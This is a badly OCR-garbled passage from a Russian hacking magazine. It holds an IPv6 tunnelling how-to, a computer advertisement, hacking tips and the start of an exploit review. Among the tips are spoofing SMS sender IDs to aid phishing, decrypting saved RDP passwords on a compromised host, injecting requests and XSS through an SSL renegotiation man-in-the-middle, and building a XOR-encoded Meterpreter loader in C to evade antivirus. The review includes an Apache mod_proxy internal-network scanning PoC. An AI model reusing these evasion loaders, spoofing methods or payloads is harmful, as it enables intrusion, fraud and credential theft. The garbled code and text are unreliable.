использоваться, если у тебя серый ІР, и даже I Рѵ4-іп-І Рѵб (на случай, 
если нужно обратиться к ІРѵ4-ресурсам, имея только ІРѵб-адрес). 

За выбор типа туннеля отвечает специальный протокол Т5Р (ТиппеІ 
5еІир Ргоіосоі). Несмотря на сложные аббревиатуры, сервис пред- 
лагает невероятно удобный клиент для подключения. Под виндой вся 
настройка сводится к двум тривиальным действиям: 

1. Скачиваем и устанавливаем додоСЫЕІМТ ( додопеі. додоб. соі 
ргоЛІе/додоСІ-ІЕІМТ ). 

2. Запускаем, оставляем все настройки поумолчанию и нажимаем 
«Соппесі». 

Программа должна установить соединение, работоспособность 
которого быстро проверяется, если в браузере попытаться открыть 
какой-нибудь ІРѵб-ресурс (например, ірѵб.доодіе.сот ). Все должно 
работать. Единственное — в файрволе может потребоваться открыть 
исходящий порт 3653. Без конфигурирования клиент устанавливает 
так называемый анонимный туннель. Его ограничение в том, что при 
смене ІРѵ4-адреса поменяется и выданный тебе адрес ІРѵб. Чтобы 
«привязать» к себе статические ІРѵб-адреса, необходимо: 

1. Зарегистрировать аккаунт ( додопеі. додоб. сот/радеЛ геепеіб- 
гедізіігаіііоп ). по которому ітеепеіб будет тебя узнавать. 

2. Переключить режим с «Соппесі Апопутоіізіу» на «Соппесі ІІзіпд 1Ье 
РоІІоѵѵіпд Сгебепііаіз», указав логин и пароль. 

3. Нажать «Соппесі». 

Проверить выданный тебе ІРѵб-адрес, а заодно — работоспособ- 
ность нового протокола по различным параметрам поможет сайт 
і. Запомни адрес — теперь он закреплен за тобой. 
Ітеепеіб даже выдает реверс-днс (изегпате.Ьгокег.ІтеепеІб.пеі). При 
подключении стоит учитывать, что аутентификация осуществляется с 
передачей паролей в рІаіп-ІехГе. Чтобы обезопасить себя, на вкладке 
Абѵапсеб рекомендуется выбрать метод аутентификации РА55 055 
30Е51 или йідезі М05. 

ТЫ В ІРѴ6 

Ітеепеіб — безусловно, самый простой способ получить ІРѵб-адрес, 
но не всегда самый лучший. Другие туннельные брокеры, обзор 
которых мы приводим во врезке, могут предложить более высо- 
кую скорость и меньшие задержки за счет большого количества 
входных серверов, размещенных в ближайших странах (например, 
Швеции). Как видишь, новый протокол на домашнем компьютере 
не требует какой-то немыслимо сложной настройки. И как мне 
кажется, предлагает неплохие бонусы за 1 0 минут, которые уйдут у 
тебя на настройку. □С 
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ВЗЛОМ/ ЕА5ѴНАСК 



Алексей «бгеепйод» Тюрин, ОідііаІ Бесигііу (іѵѵіНег.сот/апІуигіп) 





РЕШЕНИЕ 

Социальная инженерия — страшное дело! Вместо того чтобы напря- 
гаться, преодолевая файерволы и Ю5, искать уязвимости и выпол- 
зать из йМ2, плохим парням куда проще послать приметное письмо 
со зловредным РЭР какому-нибудь секретарю или завхозу, который 
без тени сомнений откроет аттач. Повысить вероятность того, что 
пользователь ничего не заподозрит и совершит нужное действие, по- 
может 5М5-сообщение, присланное сознакомого номера или иден- 
тификатора. В Сети много всевозможных сервисов, позволяющих 
бесплатно отправлять 5М5. Если поискать, то можно обнаружить и 
такие ресурсы, которые позволяют «подделывать» адрес отправите- 
ля. Причем в такой подделке нет ничего криминального (по крайней 
мере по версии создателей таких сервисов). Здесь как в электронной 
почте — что хочешь, то и пиши. :) Один из таких сервисов — ЗтздІоЬаІ 
[ ѵѵѵѵѵѵ.зтздІоЬаІ.сот ). Заходишь, быстро регистрируешься — и у тебя 



появляется возможность отправить до 25 5М5-сообщений бесплатно. 
Но самое главное, что в настройках (меню Ргеіюгепсез -> Зепсіег Ю) 
можно задать произвольный идентификатор или номер отправителя 
сообщений. Любой! Когда жертва получит сообщение, мобильник 
автоматически подставит вместо номера отправителя соответствую- 
щее имя из записной книжки. Если сервис придется тебе по душе, то 
ты сможешь оформить и платную подписку, при этом отправка одного 
5М5 будет обходиться всего в 1 рубль. Стоит отметить, что ресурс 
предлагает ряд полезных сервисов, в том числе редирект почты на 
5М5. Это может быть очень полезно, если какая-то система монито- 
ринга умеет предупреждать о критических событиях по е-таіі, но по 
какой-то нелепой причине до сих пор не научилась отправлять пред- 
упреждения в виде 5М5. Впрочем, если все это тебя не интересует, 
то можно просто удивить свою девушку, отправив ей на мобильник 
что-нибудь нежное от имени «любимого пушистика». 



СОБРАТЬ ВСЕ НАСТРОЙКИ 
ѴѴШ00ѴѴ5 В ОДНОМ МЕСТЕ 



РЕШЕНИЕ 

С теми, кто сидит под ѴѴіпсІоѵѵз 7/2008, и еще больше с теми, кто их 
админит, мне бы хотелось поделиться интересной находкой, а точнее 
маленьким трюком, позволяющим собрать в одном месте все на- 
стройки ОС. 

1. Создаем папку слюбым именем в любом месте. 

2. Дописываем в конец имени: 

. { ЕО7ВА470 - 8Е 54-46 5Е -82 5С- 997 12043 Е01С} 

В итоге в этой папочке мы получим что-то вроде панели управ- 
ления, только в ней будет гораздо больше пунктов, и к тому же 
отсортированных. Удобный хак, хотя он и не совсем относится к теме 
ЕазуНаск. :) 



(30 !^***™>«*<^&»* 
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ЕА5У НАСК 



ПОИСК ЗНАЧЕНИЯ ХЭША 



ЗАДАЧА 



РЕШЕНИЕ 



Всем известно, что хранить пароли в открытом виде — порочная 
практика. Взломают систему, и — хоп! — все пароли у плохих 
парней. А с учетом того, что пользователи часто используют 
одинаковые или похожие пассы на разных ресурсах, ситуация вы- 
глядит особенно удручающей. Чтобы не допустить утечки паролей 
в открытом виде, принято использовать всякие хэш-функции. 

Идея в том, что исходное значение хэша можно получить из него 
только перебором. А перебирать придется ой как много! Конечно, 
можно использовать радужные таблицы или обзавестись готовыми 
базами хэш-сумм. Однако в Сети и так полно сервисов, которые 
предлагают быстро пробить хэш по своим базам. Но мы люди XXI 
века! Ходить куда-то, суетиться — это не в нашем стиле. :) Поэтому 
предлагаю присмотреться к отличному Руібоп-скрипту ЕіпсІтуЬазЬ 
( собе.доодІе.сот/р/ЛпбтубазЫ . По сути, с его помощью можно 
отправлять запросы сразу к нескольким онлайн-сервисам. Если 
значение хэша «словарное», то оно будет очень быстро найдено. 
Пара примеров: 

руІіИоп бпсІтуІіа5Іі_ѵ1.1.2.ру Мй5 -§ \ 

-И а25Ь2710Ьа9с!е11439басІс7сІ-РЬ0а7235 
руІіМоп бпсІтуба5Іі_ѵ1.1.2.ру МИМ --Р баскесі_сІотаіп .Ъсі: 



Здесь: 

• -б — искать хэш; 

• --Р — искать по очереди хэши из файла; 

• -§ — искать в Ооодіе. 

Хотя список поддерживаемых хэшей и так достаточно велик, к 
выходу номера он должен увеличиться еще больше. 
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ТЬе ІіэвИ?5 сгаекей; 
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Получение значений Мй5- и ЫТІ_М-хэшей за пару секунд 



РАСШИФРОВАТЬ ПАРОЛЬ ИЗ ВРР 



ЗАДАЧА 



РЕШЕНИЕ 

В последнее время, когда компьютеры пользователей обра- 
стают всевозможными системами по обеспечению безопасно- 
сти — антивирусами, фаейрволами, проактивками, утилитами 
защиты памяти и песочницами ПО, — становится все труднее 
эксплуатировать уязвимости, проникать в ОС и закрепляться в 
ней. С другой стороны, количество используемых технологий 
и программных инструментов, в которых теоретически могут 
существовать уязвимости, возрастает. А захватив, как извест- 
но, всего одну рабочую станцию, по принципу домино часто 
можно завладеть всей корпоративной локалкой. 

Но вернемся к нашей задаче. Администраторы повсемест- 
но используют РйР — стандартный для всех систем ѴѴіпсІоѵѵз 
протокол удаленного управления компьютером. Изначально 
РйР имел ряд принципиальных уязвимостей, но большая 
часть из них была устранена еще в 6-й версии протокола (то 
есть начиная с Ѵізіа и Зегѵег 2008). 

Стандартная утилита для подключения к удаленному 
рабочему столу предлагает удобную фичу, которая позволяет 
хранить настройки подключения в гсір-файлах. Среди прочих 
параметров также сохраняются имя и пароль учетки для под- 
ключения к удаленному серверу. Чувствуешь, куда я клоню? 

В папке «Мои документы» имеется дефолтный файл настроек 
Ое^аиІІ.гсІр, который мы легко можем расшифровать (правда, 
только в версиях до ПОР 6). Конфиг представляет собой обыч- 
ный текстовый файл с несколькими полями, в поле раввѵѵогсі 
после «51 :Ь:» идет зашифрованный пароль. 

Для того чтобы расшифровать его, нам потребуется функция 
СгурШпргоІесЮаІаО из стандартной библиотеки сгурі32.сІІІ. 

Что важно, расшифровывать пароль придется прямо на ком- 
пьютере жертвы (админские права при этом не нужны). Украсть 
конфиг и расшифровать его уже у себя не получится, поскольку 
функция шифрования использует, помимо всего прочего, 5Ю 
пользователя в ОС, точнее его хэш. Для решения задачи можно 



воспользоваться чудо-комбайном под названием Саіп&АЬеІ 

( ѵѵѵѵѵѵ.охі сі . И: ) . 

Просто выбираем опцию Нетоіе йезкіор РавзѵѵогсІ йесосіег 
и подсовываем ей гбр-файл. Однако С&А слишком большой и 
неповоротливый для незаметного запуска у жертвы. 

К счастью, в М5Е не так давно появился специальный 
скриптик как раз для нашего случая. Он ищет на жестком 
диске сохраненные файлы гсір и автоматически дешифрует их. 
Что характерно для М5Р, от нас требуется минимум действий: 

1. Используем теіегргеіег для захвата хоста. 

2 . Далее запускаем розі-модуль: 

пип ро5І:/ыіпсІоы5/^а1:бег/епит гсір рысі 
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Расшифровываем пароль из гсір-файла 
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ВЗЛОМ/ ЕА5ѴНАСК 



ВНЕДРИТЬСЯ В 55І.ѴЗ-С0ЕДИНЕНИЕ 



ЗАДАЧА 



РЕШЕНИЕ 

Продолжаем мучить НТТР5. Сегодня мы поговорим об атаке тап- 
іп-іЬе-тісІсІІе на 55І_-протокол, а точнее на его последние версии — 
55І_ѵЗ/ТІ_5. Нет-нет, про ВЕА5Т я рассказывать не буду — эту тему 
мы подробно рассмотрели в прошлом номере. 

Общая ситуация такая: есть жертва, есть сервер, мы находим- 
ся в одном сегменте с жертвой и можем провести агр-зрооПпд. 
Есть только одна проблема — последние версии протоколов 551 
смогут быстренько обнаружить попытку изменения передавае- 
мых данных (хотя пропускать через себя шифрованный трафик 
после агр-зрооПпд у нас все же получится]. Да и расшифровать их 
не представляется возможным. Что же делать? Обратимся к уяз- 
вимостям 55І_. В конце 2009 года в протоколе была обнаружена 
небольшая дырка — ТІ_5/55І_ѵЗ гепедоііаііоп ѵиіп (СѴЕ-2009-3555). 
Со стороны уязвимость похожа как на недостаток самого про- 
токола, так и на огрехи в реализации конкретного ПО (а точнее, 
библиотек). Сейчас уязвимость уже запатчили, однако около 10 % 
серверов все еще подвержены ей (статистика доступна на этом 
сайте: ѵѵѵѵѵѵ.ззІІаЬз.сот/ззИЬ/апаІѵге.ЬітІ ). 

Уязвимость позволяет смешивать зашифрованную и неза- 
шифрованную информацию. Точнее, проблема кроется в том, что 
переинициализация существующего соединения осуществляется 
небезопасным способом, чем может воспользоваться атакующий. 
Смотрим на рисунок, разбираем шаги: 

1) Атакующий перехватываети блокируетТІ_5 бапсізбаке отжертвы 
(соединение 1). 

1.1 Ата кующий уста на вливает соединение с сервером поТІ_5- 
протоколу (соединение 2]. 

1.2 Атакующий посылаетзловредные данныеуровня приложения по 
установлен ному соединению 2. 

2 ) Атакующий переинициализируетсоединение (выполняет 
гепедоііаііоп). 

3) Соединение 1, котороеудерживал атакующий, посылается по 
соединению2 (в нихуказан один итотже5еззіоп Ю, поэтому 
сервер думает, что соединение 1 является частью соединения 2). 



Сервер устанавливает защищенное соединение с жертвой. 

4) Сервер конкатенирует данные отатакующего, посылаемые на 

шаге 1.2, и данные отжертвы, упомянутые в пункте 3. 

Чтобы вникнуть в идею, посмотрим на сервер и попытаемся 
понять, что ему «видно». Пользователь, подключающийся к 
серверу, посылает кусок данных в само приложение (шаг 1.1 и 
1.2). Но потом происходит сброс (гепедоііаііоп) защищенного 
соединения (шаг2) и его повторная инициализация (шагЗ). 
Далее сервер объединяет данные и передает на обработку в 
приложение. 

Важный вопрос (его мне задал редактор при проверке статьи 
:)) — почему запросы от жертвы и атакующего объединяются? 
Здесь используется важная особенность протокола ТІ_5 — иден- 
тификатор защищенного соединения (5еззіоп Ю). Теоретически 
он служит для оптимизации работы сервера, чтобы тот лучше «за- 
поминал» своих клиентов. Например, чтобы ему не приходилось 
проводить полный цикл установки защищенного соединения при 
разрыве соединения с клиентом на уровне ТСР. Этот идентифика- 
тор передается в открытом виде при инициализации защищён- 
ного соединения. Именно его атакующий берет отжертвы (шаг 1) 
и подставляет в свой запрос (шаг 1.1). Поэтому, когда от жертвы 
приходит реальный запрос (шаг 3), он объединяется с запросом от 
атакующего. 

Зачем вообще нужна функция переинициализии соединения? 
Переинициализия может, например, происходить при смене ис- 
пользуемого шифрования в зависимости от директории на сервере 
(соединение не рвется, но шифрование меняется). За подробностя- 
ми отсылаю к мануалам ( ѵѵѵѵѵѵ.д-зес.Іи/ргасІісаШз.рсіЛ . 

Теперь два важных момента. Во-первых, баг кроется в самом 
протоколе 55І_ѵЗ/ТІ_5, а потому уязвим не только протокол НТТР5, 
но и РТР5, 5МТР5, Р0Р35 и т. д. Таким образом, потенциально уяз- 
вимы все верхние протоколы. Почему потенциально? Уязвимость 
достаточно трудно эксплуатировать. По сути, мы можем вставить 
кусок плейн-текста в начало запроса жертвы к серверу. Ответ 
сервера или данные, передаваемые от жертвы, мы прочитать не 
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Последовательность проведения атаки на пользователя 



Сканирование на присутствие дырки 
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можем. Но такие ограничения только подогревают интерес к тому, 
что же придумали умные головы. Итак, для протокола НТТР у нас 
есть три возможных вида атаки: 

1. Вставка своего ІІРІ_. По сути, мы можем сделать С5РЕ, однако 
только для СЕТ-запросов. Более замысловатый вариант — Ьеасіег 
іщесііоп. 

1) Если на шаге 1.2 мы добавим 
(5ЕТ /ра-Цт/іо/гезоигсеозр НТТР/1.0 
1§пог-те: 

2) то вместе с данными., пришедшими от клиента., приложение 
на сервере будет обрабатывать следующий запрос: 

СЕТ /раіб/іо/гезоигсеозр НТТР/1.0 
1§поге-те: СЕТ /іпсіех.дзр НТТР/1.0 
Соокіе: зеззіопСоокіе=Токеп 

2. Кесіігесі с НТТР5 на НТТР. Все мы помним метод и тулзу ззізігір. 
Она может снифать трафик при соединении с жертвой по НТТР- 
протоколу и при соединении с сервером по НТТР5. Если пользо- 
ватель не заметит, что значок защищенного соединения в брау- 
зере отсутствует, то мы получим полный доступ к передаваемым 
данным. Так вот, с ззізігір есть трабл — на уже установленное за- 
щищенное соединение она повлиять не может. Но с помощью ЗЗЬ 
гепедоііаііоп мы можем перейти на незащищенное соединение: 



Выполняем запрос к странице., где есть редирект 
на НТТР (шаг 1.2): 

СЕТ /иг 11: И а 1=_ыі 1 1_3 0 2 1= о_НТТ Р 
І^поге-мііаіі-сотез-пом: 

З.Х55 . Так как ѵѵеЬ-сервера полностью возвращают запрос при его 
передаче методом ТРАСЕ, можно внедрить ^ѵа5сгірІ-код. 

Атакующий на шаге 1.2 посылает; 

ТКАСЕ / НТТР/1.0 

Х:ТІіІ5 сопіепі: ыііі Ье геЛесіесІ іп ібе гезропзе іо ібе сі 
Іеп1:<1т1:т1><5сгір1:>а1ег1:( 'Х55 ' )</5сгіріх/ІтЬт1> 

Х-і§поге: 

Можно придумать и более специфические методы. В пабли- 
ке есть три РоС. Я лично намучился с версией для РуіЬоп, но 
адекватных результатов так и не добился. :) Чтобы определить, 
подвержен ли сервер этой уязвимости, можно воспользовать- 
ся специальным веб-сервисом [ ѵѵѵѵѵѵ.ззІІаЬз.сот/ззІсІЬ/апаІуге. 
Мші), тулзой ззііезі, которая входит в комплект ВаскТгаск 5, или 
ззШзІезІ под виндой. 



ПРАКТИЧЕСКИ 100 %-Й ОБХОД АНТИВИРУСОВ, 
ИЛИ ХОР МЕТЕКРКЕТЕК 



ЗАДАЧА 



РЕШЕНИЕ 

Для пентестерских дел теіегргеіег из Меіазріоіі ( ѵѵѵѵѵѵ.теіазріоіі. 
сот ) — лучшая нагрузка. Наверное, ни для кого уже не новость, 
что исполняемый файл теіегргеіег детектится всеми более- 
менее известными антивирями. Даже если добавить всякие 
извращения, использовав какой-нибудь энкодер и прикрепив 
его к обычному ехе-файлу (о чем мы писали в прошлом номере), 
то обойти получится всего лишь пару-тройку самых слабеньких 
антивирусов. Но ни один антивирус не обнаруживает теіегргеіег, 
который проинжектился в процесс в результате эксплуатирова- 
ния какой-нибудь уязвимости или непосредственно из ехе-файла. 
Однако здесь есть проблема. Многие методы обхода антивирей 
подразумевают работу с исходниками. А их вроде нет... На самом 
деле есть, но они нам и не понадобятся. Вместо этого мы вос- 
пользуемся возможностями М5Е и сгенерим с помощью тулзы 
тзфауіоасі не традиционный ехе-файл нагрузки, а его вариант на 
Си. Пишем в консоли: 



о пі/пгЫ СКАНИРОВАНИЕ 



у* "0:\р гДауЛег^е^З.ехе" 

Сканирование завершено, УГРОЗ НЕ ОБНАРУЖЕНО 

Время работы: 0:00:00 

Проверенные файлы / папки: 1/0 

Объем проверенных данных: 15,1 КБ 



ХОР госкз! Аѵазі ничего не обнаружил 



#тз-Рраѵ1оасІ міпгіомз/теіегргеІіег/ЬіпсІІіср К | тз-РепсосІе \ 
-с 5 х8б/з!ііка1:а_§а_паі -і с -о іезіЗ.с 

Здесь: 

• міпсІоѵ\/5/теіегргеіег/ЬіпсІ_іср — нагрузка из М5Е; 

• Р — ключ для генерации нагрузки в бинарном виде; 

• тз-РепсосІе — тулза для обфускации; 

• -с 5 х86/зІпікаіа_§а_паі — обфусицируем рауіоаб соответ- 
ствующим кодером; 

• -1: с — выходной формат: Си; 

• -о 1:е5І:_3 . с — итоговый файл. 

Здесь мы дополнительно использовали тзіюпсосіе, хотя он нам 
и не нужен, так как обходить антивирусы мы будем вручную. Одна- 
ко если запускать просто тзфауіоасі с параметром итоговых дан- 
ных С вместо Р, то он скинет в один файл оба зіаде — и загрузчик, 
и саму боевую часть (теіегргеіег — многоступенчатый шелл-код). 
Нам же требуется только загрузчик, поэтому надо все сделать так, 
как я описал. Напомню также, что М5Е может создавать рауіоаб 
почти для любых языков, так что описанные здесь трюки можно 
будет повторить и на них. В результате выполнения тзфауіоасі мы 
получим массив с шелл-кодом (пример на скриншоте). 

Но это все-таки только шелл-код, а не экзешник, который 
можно запустить на машине жертвы. Не проблема! Добавим обя- 
зательную в Си функцию таіп и наш шелл-код из М5Е, который 
подгрузит и исполнит в качестве кода находящиеся в массиве 
данные. Пишем следующий код сразу за буфером: 

іп~Е таіп (іпі а г^с . сбаг * *аг^ѵ) 

{ 

іпі: (*-Рипс^ (); 

■Рипс=(ігѵ^ (*)()) Ьи-Р; 

(іп~Е)(*-Рипс) () ; 

ь_ 



ХАКЕР 12/155/2011 



057 






ВЗЛОМ/ ЕА5ѴНАСК 




Процесс создания заксоренного теіегргеіег'а 



Теперь мы можем откомпилировать исходник. Воспользовать- 
ся можно почти любым компилятором (6СС, ѴС). Но для скорости 
и простоты я бы посоветовал бесплатный йеѵ-Срр. Однако нам 
мало просто скомпилировать этот сорец. Нам нужно еще дописать 
код для обхода антивируса или, к примеру, для выполнения под- 
готовительных действий перед запуском теіегргеіег (допустим, 
можно установить істр/ибр-тоннель, если ТСР заблокирован, и 
уже через него пустить теіегргеіег). Чтобы наверняка обойти 
антивирус, можно взять банальный ХОР кода. :) Вот пример про- 
стого кода на Си для ХОР шелл-кода: 

ипзі^песі сііаг Ьи~Р[] = зііеіісосіе беге..."; 
іп~Е таіпР іпі: а г§с. сИап **аг§ѵ^ 

І_ 

іпі: і; 

-Рог (і=0;і< Ьи-Р; і++){ 

Ьи-Р [ і ] = Ьи-Р[і] л 0хсс ; 
ргіп1:-Р("\\х%02х" 1 Ьи-Р[і]); 

} 

} 

С кодом здесь все просто (а разве в ЕавуНаск бывает что-то труд- 
ное? :)). Перебираем побайтово значения массива ЬиР и выполняем 
над ними операцию ХОР. Итог выводим в консоль. Компилируем, 
запускаем экзешник и на выходе получаем шелл-код из М5Р, обра- 
ботанный ХОР. Теперьу нас появилась новая задача — вернуться к 
нормальному шелл-коду, чтобы запустить его, так как этот находит- 
ся в нерабочем состоянии. Причем сделать это необходимо как раз в 
процессе выполнения будущей программки. Тут нет ничего трудного: 



1. Берем ранее созданный нами шелл -код с за грузчиком. 

2. Заменяем старый шелл-код на новый вариант, обработанный ХОР. 

3. Добавляем в функцию таіп повторный ХОР. 

4. В итоге таіп принимает следующий вид: 

іпі: таіп (іпі: аг^с. сбаг **ап^ѵ) 

{ 

іпі: і; 

Тог ( і=Ѳ ; і<5ІгеоТ Ьи-Р; І++Н 
Ьи-Р [ і ] = Ьи~Р[і ] Л Ѳхсс : 

} 

іпі: (*Типс) (); 

■Рипс= (іпі: ( *)()) Ьи-Р; 

(іпі) (*~Рипс) ( ) ; 

} 

5. Компилируем код. 

Напомню, что, повторно выполняя операцию ХОР для некоторого 
параметра, мы получаем его исходное значение (А Л В Л В = А). 

Я тестировал полученный экзешник с нагрузкой на бес- 
платном антивирусе Аѵазі — он даже не пикнул. Что с другими 
а нтв прям и? Похоже, все точно так же. Такая ситуация возникает 
из-за того, что антивирусы не могут нормально эмулировать 
подобные действия (манипуляции с ХОР) в своих эмуляторах при 
запуске приложения. 

Напоследок хочу выразить благодарность человеку под ником 
уОпсІІЗ за описанный выше метод и Дмитрию Евдокимову ака йіді 
за общую помощь при подготовке раздела. :) 
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ШШШМЕ 903 



Много лет назад мы все заморачивались покупкой комьютера по частям и самостоятельно 
собирали его, посмеиваясь над производителями готовых сборок (и непременно теми, 
кто их покупает). Мол, и железо они подбирают не оптимальное, и продают втридорога. 
Романтика Ьапсіусга^'а давно ушла, пришел простой расчет. Оказалось, что готовые сборки с 
установленной системой зачастую обходятся дешевле, чем собирать компьютер самому. Легче 
пойти в магазин и купить компьютер с классной конфигурацией за хорошую цену. В случае 
с ѴѴЕХІ.ЕК.НОМЕ 903 с 64-битной ѴѴіпсіоѵѵз® 7 на борту ты получаешь практически топовую 
машину, которая идеально подойдет для игр. 




Процессор 

В качестве процессора используется мощный двухядерный процес- 
сор Іпіеі® Соге™ І5-650 с частотой 3,2 ГГц и кэш-памятью 4 Мб. СРІІ 
имеет встроенный контроллер памяти и поддерживает технологию 
ТигЬо Воозр автоматически разгоняющую его под нагрузкой (напри- 
мер, в последних играх). Более того, такие процессоры поставляют- 
ся еще и со встроенным контроллером памяти. 



Видео 

За игровые возможности отвечают две видеокарты ѲеРогсе 6ТХ 460, 
основанные на новейшей вычислительной архитектуре «Регті». 
Благодаря высокой производительности в режиме ОігесіХ 11 тес- 
селяции процессор 6ТХ 460 обеспечивает идеально четкую гра- 
фику без ущерба для скорости, а поддержка технологий КІѴЮІА ЗБ 
Ѵібіоп™, РЬузХ® и США™ позволяет визуализировать все самые 
потрясающие эффекты, на которые способны компьютерные игры. 
Просто выставляй настройки графики на максимум. 



ОЗУ 

Компьютер ѴѴЕХІ_ЕР.НОМЕ 903 укомплектован оперативной памятью 
4 Гб, работающей в двухканальном режиме. Благодаря этому работа 
с каждым из двух установленных модулей памяти осуществляется 
параллельно. Пускай технология и не дает теоретического увеличе- 
ния пропускной способности в два раза, но, тем не менее, вносит 
ощутимый результат. 



Блок питания 

Набор мощного железа не может обойтись без надежного пита- 
ния. В ѴѴЕХІ_ЕР.НОМЕ электропитание осуществляется с помощью 
надежного блока питания мощностью 750 Вт. Это даже больше, чем 
нужно, но зато обеспечивает хороший запас надежности. 

Софт 

На всех компьютерах ѴѴЕХІ_ЕР. НОМЕ 903 предустановлена операци- 
онная система ѴѴіпсіоѵѵб® 7 Домашняя расширенная. Использование 
именно 64-битной версии не случайно: благодаря этому удается 
задействовать все 4 Гб установленной в компьютере памяти. Помимо 
ОС, дополнительно установлен бесплатный антивирус МісгозоЙ® 
Зесигііу ЕзБепбаІБ и ОГГісе 2010 Зіагіег (включает в себя ограничен- 
ный функционал ѴѴогб® и Ехсеі®, для активации полнофункциональ- 
ной версии необходимо приобрести ключ продукта). 



Місюзоіі 




Ѵ\/ІПСІОѴѴ5'7 

Домашняя расширенная 



Мы рекомендуем подлинную ОС ѴѴіпгіоѵѵз® 7. 
шехсег 



ЗАО «ВТК» — официальный дистрибутор 
техники ѴѴЕХІ_ЕР в России 
Единая служба поддержки ѴѴехІег: 

+7 ( 800 ) 200-9660 
ѵѵѵѵѵѵ. ѵѵехІег. ги 



© Владельцем товарного знака МісгозоЙ® и логотипа ѴѴіпсіоѵѵз® 7, зарегистрированных на территории США и/или других стран, и владельцем авторских прав 
на его дизайн является корпорация Місгозоіі®. 



РЕКЛАМА 




ВЗЛОМ/ОБЗОР ЭКСПЛОИТОВ 



Павел Александрович (іѵіпзісІе.ЫодзроСсот) 
Дмитрий Михайлович (115612, дер. Красная звездочка, д.1) 



Обзор 

ЭКСПЛОИТОВ 

И снова приветствуем тебя, адепт метасплоита 
и дебага! В сегодняшнем обзоре мы, как обыч- 
но, порадуемтебя препарированием четырех 
эксплоитов, во всей красе демонстрирующих 
несовершенство ПО. Ассистент, скальпель! 




л Обход ограничений 
14 вАрасІіетосІ_ргоху 



СѴ55Ѵ2 5.0 



( АѴ: Ы/АС : І_/АІІ : Ы/С : Р/І : Ы/А: N ) 

ущ 

Дата релиза: 1 1 октября 201 1 года. 

Автор: Робгідо Магсоз. 

СѴЕ: СѴЕ-201 1-3368. 

Как и другие аналогичные продукты (например, Ыдіпх и БдиісІ), веб- 
сервер АрасЬе может работать в режиме обратного проксирования, 
что обеспечивается специальным модулем тосІ_ргоху. В этом режиме 
запросы прозрачно перенаправляются к внутренним веб-серверам 
(например, для балансировки нагрузки), а пользователь понятия 
не имеет, что на самом деле работает на бэкенде. Описываемая 
уязвимость, обусловленная неправильной работой модуля тосІ_ргоху, 
позволяет извне посылать запросы к внутренним серверам. 



ЕХРЮІТ 



Если на сервере используются директивы РеѵѵгіІеРиІе и 
РгохуРаззМаІсЬ для конфигурирования реверс-прокси, то при помо- 
щи специально составленных запросов можно раскрыть внутренние 
серверы, которые используются веб-проектом. АрасЬе не выполняет 
должной валидации передаваемых данных. Покажем это на примере. 
Предположим, что в конфиге веб-сервера используются следующие 
директивы с похожими значениями: 

КешгіІгеКиІе ( .*) \.(ір? | ? і-Р Ірп^) ІіЕЕр://іта?е5. ехатріе. сот$1. $ 2 [ Р] 
РгохуРаззМаЕсІі ( . *)\ . (эр§ | §ІТ | рп§) ІтНір : //іта§ез . ехатріе . сот$1 . $2 



Это с большой вероятностью приводит к тому, что внутренние сервера 
становятся доступными. Злоумышленник может сделать запрос вида: 

СЕТ (ЭоЕбег. ехатріе. сот/зоте1:Іііп§. рп§ НТТР/1.1 

Веб-сервер, в свою очередь, транслирует его в следующую ссылку: 

ІтІЕр ://іта§ез . ехатріе. сотфоЕ бег. ехатріе. сот/ зотеЕІііп^. рп§ 

Таким образом, прокси подключится к хосту оіЬег.ехатрІе.сот, так как 
воспримет часть адреса ітадез. ехатріе. сотй как имя пользователя. 
Строка ІІРІ в этом запросе (ЙоіЬег.ехатрІе.сот/зотеіЫпд.рпд НТТР/1.1) 
не соответствует спецификациям НТТР, поэтому в дальнейших релизах 



сервер на такой запрос будет возвращать ошибку 400 Ва 6 РециезЕ 
Компания 5ЕСР0РСЕ разработала РоС для эксплуатации этой уязвимо- 
сти. Он доступен для скачивания на сайте компании: доо.дІ/ОЬбѵѴ . 
Скрипт эксплуатирует уязвимость в тоб_ргоху и позволяет атакующе- 
му получить доступ к заранее известным файлам, которые находятся 
в демилитаризованной зоне (ОМ2). Этот скрипт может также быть 
использован для сканирования портов сервера, на котором установлен 
АрасЬе (через функционал прокси АрасЬе, а стало быть, в обход любого 
файервола). Ниже представлены примеры использования скрипта с 
пояснениями, любезно переведенными мною на великий и могучий: 

руЕНоп арасМе зсап.ру [оріііопз] 

[орЕіопз] 

-г: удаленный хост с Арасбе 

-р: порт, на котором висит Арасбе (по умолчанию 80) 

-и: ЦКБ для запр оса (по у молчанию Л 
- 6 : хост в демилитаризованной зоне (йМ2) (по 
умолчанию 127.0.0.1) 

-е: порт в РМ2 (активирует режим зіп§1е рогЕ зсап) 
6ЕТ-запрос к хосту в РМ2 (по умолчанию Л 
-б: страница помощи 

Примеры: 

Сканирование портов на удаленном хосте 

р ѵЕІіоп арасііе зсап. р у -г млм. ехатріе. сот -и /іт§/ЕезЕ.§і-Р 
Сканирование портов на хосте, расположенном в РМ2 
руЕбоп арасбе_5сап.ру -г млм. ехатріе . сот -и /іт§/ЕезЕ . §ІТ 
-сІЛщЕегпаІІіозЕ Лосаі 

Получение файла с хоста, расположе нного в Ш7. 

рѵЕІіоп арасііе зсап.рѵ -г ѵіші. ехатріе. сот -и /іт^/ЕезЕ.^і-Р \ 
-сі іпЕегпаІІіозЕ.ІосаІ -е 80 /ассоипііз/іпсіех. Иііті 



ТАР6ЕТ5 



АрасЬе НТТР Бегѵег 1 .3.x вплоть до 1 .3.42; 
АрасЬе НТТР Бегѵег 2.0.x вплоть до 2.0.64; 
АрасЬе НТТР Бегѵег 2.2.x вплоть до 2.2.21 . 



БОШТІОЫ 



Всем пользователям модуля тосІ_ргоху рекомендуется проверить 
свои конфиги на вхождение бажных строк или накатить официаль- 
ный патч ( доо.дІ/хІМІдВ ). Кстати говоря, вышеприведенную бажную 
директиву РеѵѵгіІеРиІе можно исправить следующим образом: 

КемгіЕеКиІе /( .*)\. (др§|§іТ|рп§) ЬЕЕр : //іта§ез . ехатріе . сот/$1 . $2 [Р] 
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ОБЗОР эксплоитов 



2 



Произвольное изменение доступа 
к файлам через Хогд 



СѴ55Ѵ2 



5.7 



( АѴ: І_/АС : І_/АІІ :5/С : С/І : Р/А: Р) 

Дата релиза: 28 октября 201 1 года. 

Автор: ѵіасіг. 

СѴЕ: СѴЕ-2011-4029. 

В октябре господин ѵіасіг обнаружил уязвимость в Хогд, которая затраги- 
вает специальный временный файл Лтр/іХп-Іоск (п — номер дисплея 
в X). При успешной эксплуатации атакующий получает возможность вы- 
ставить права на чтение любого файла в системе. Для работы эксплоита 
